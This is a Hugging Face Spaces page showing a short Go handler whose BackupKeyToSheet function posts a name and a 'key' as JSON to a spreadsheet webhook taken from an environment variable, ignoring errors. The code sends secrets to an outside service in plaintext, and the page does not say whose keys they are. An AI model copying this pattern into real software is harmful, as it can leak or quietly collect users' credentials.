Spaces:
Paused
Paused
File size: 339 Bytes
f1e5193 5c638ab f1e5193 5c638ab f1e5193 89bdab6 f1e5193 89bdab6 f1e5193 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | package handler
import (
"bytes"
"encoding/json"
"net/http"
"os"
)
var sheetsWebhook = os.Getenv("SHEETS_WEBHOOK")
func BackupKeyToSheet(name, key string) {
if sheetsWebhook == "" { return }
body, _ := json.Marshal(map[string]string{"name": name, "key": key})
http.Post(sheetsWebhook, "application/json", bytes.NewReader(body))
} |